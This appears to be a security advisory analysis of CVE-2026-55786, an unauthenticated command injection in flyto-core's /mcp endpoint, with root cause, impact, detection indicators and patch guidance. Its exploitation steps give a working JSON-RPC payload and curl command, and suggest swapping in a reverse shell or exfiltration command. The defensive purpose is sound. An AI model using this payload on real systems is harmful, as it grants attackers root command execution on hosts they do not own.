CVE-2026-55786: 
Python vulnerability analysis and mitigation

CVE-2026-55786 is an unauthenticated OS command injection vulnerability in the flyto-core Python package (pip), affecting versions >= 2.26.2 and < 2.26.4. The flaw allows any process that can reach the POST /mcp HTTP endpoint to execute arbitrary shell commands as the flyto-core server process — confirmed as root in dynamic reproduction — without supplying any Authorization header. It was originally published by researcher ChesterHsu (EQSTLab) on May 30, 2026, and added to the GitHub Advisory Database on July 6, 2026. The vulnerability carries a CVSS v3.1 base score of 8.4 (High) under a local attack vector by default, escalating to a network-level threat if the server is bound to 0.0.0.0 (GitHub Advisory, flyto-core Advisory).

The root cause is a combination of CWE-306 (Missing Authentication for Critical Function) and CWE-78 (OS Command Injection). When flyto serve starts, the MCP router is unconditionally mounted at /mcp (server.py:75-78) without the Depends(require_auth) FastAPI dependency that protects the analogous REST execution route (modules.py:93). An attacker sends a JSON-RPC tools/call request specifying execute_module as the tool name and sandbox.execute_shell as the module_id; the handler forwards attacker-controlled params through the module registry to execute_shell.py, where the command field is read without sanitization and passed directly to asyncio.create_subprocess_shell(..., shell=True). Critically, the sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"]), so even if a module filter were applied to the MCP route it would remain reachable. A public PoC (curl one-liner and Python script) is included in the advisory (GitHub Advisory).

Successful exploitation grants the attacker full OS command execution with the privileges of the flyto-core server process — confirmed as root in the advisory's dynamic reproduction. Consequences include arbitrary file read/write, credential exfiltration, lateral movement within the host or container environment, and complete host takeover. Developers running flyto serve locally are exposed to any co-resident process (e.g., malicious browser-tab code) that can reach the loopback interface, while infrastructure operators binding to 0.0.0.0 expose the attack surface to the entire network (GitHub Advisory, flyto-core Advisory).

A fully functional PoC — both a curl one-liner and a Python script (poc.py) — is publicly available in the GitHub advisory, requiring no authentication and no special privileges. The CVE status is listed as "Reserved" and no EPSS score or CISA KEV catalog entry is currently available. No threat actor attribution or confirmed in-the-wild exploitation has been reported at this time. Detection coverage exists via Qualys (detection ID 5015118) and Tenable cloud-security plugins (GitHub Advisory).

1. Reconnaissance: Identify hosts running flyto serve (default port 8333). Locally, check for a listening service on 127.0.0.1:8333; for network exposure, scan for port 8333 bound to 0.0.0.0 using tools like nmap or Shodan.
2. Confirm server availability: Send a GET request to http://<target>:8333/health and verify a 200 OK response, confirming the flyto-core API is running.
3. Craft the exploit payload: Construct a JSON-RPC tools/call request targeting the execute_module tool with module_id set to sandbox.execute_shell and the desired OS command in the params.command field:

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "execute_module",
    "arguments": {
      "module_id": "sandbox.execute_shell",
      "params": {"command": "id", "timeout": 5}
    }
  }
}

4. Send the unauthenticated request: POST the payload to http://<target>:8333/mcp with Content-Type: application/json and no Authorization header:

curl -sS http://127.0.0.1:8333/mcp -H 'Content-Type: application/json' -d '<payload>'

5. Achieve command execution: The server responds with 200 OK and the command output in result.structuredContent.data.stdout (e.g., uid=0(root) gid=0(root) groups=0(root)). Replace id with any shell command (e.g., reverse shell, file exfiltration) to achieve the desired objective (GitHub Advisory).

• Network: Unexpected POST requests to /mcp on port 8333 (or the configured flyto-core port) without an Authorization header; outbound connections from the flyto-core process to unknown external IPs following such requests.
• Logs: HTTP access logs showing POST /mcp HTTP/1.1 200 entries from unexpected source IPs or local processes; JSON-RPC payloads containing "method": "tools/call" and "module_id": "sandbox.execute_shell" in request bodies.
• Process: Unusual child processes spawned by the flyto-core Python process (e.g., /bin/sh -c <command>, curl, wget, nc, python3) visible in process trees via ps or auditd.
• File System: New or modified files in the flyto-core working directory or /tmp created by the server process; unexpected cron jobs or SSH authorized keys added by the server's user account (GitHub Advisory).

Upgrade flyto-core to version 2.26.4 or later, which adds Depends(require_auth) to both the POST /mcp and DELETE /mcp route handlers and expands the default denylist to include sandbox.* modules. As an immediate workaround prior to patching, restrict network access to the flyto-core API port (default 8333) using host-based firewall rules or network ACLs, and avoid starting the server with --host 0.0.0.0 unless behind a properly authenticated reverse proxy. Operators should also audit whether the server process runs as a non-root user to limit blast radius (GitHub Advisory, flyto-core Advisory).

The vulnerability was reported by EQSTLab (researcher ChesterHsu) and published as a GitHub Security Advisory on May 30, 2026, with the advisory added to the GitHub Advisory Database on July 6, 2026. Detection coverage was added by Qualys (ID 5015118) and Tenable shortly after publication. No significant broader media coverage or notable social media commentary has been identified beyond the advisory itself (GitHub Advisory).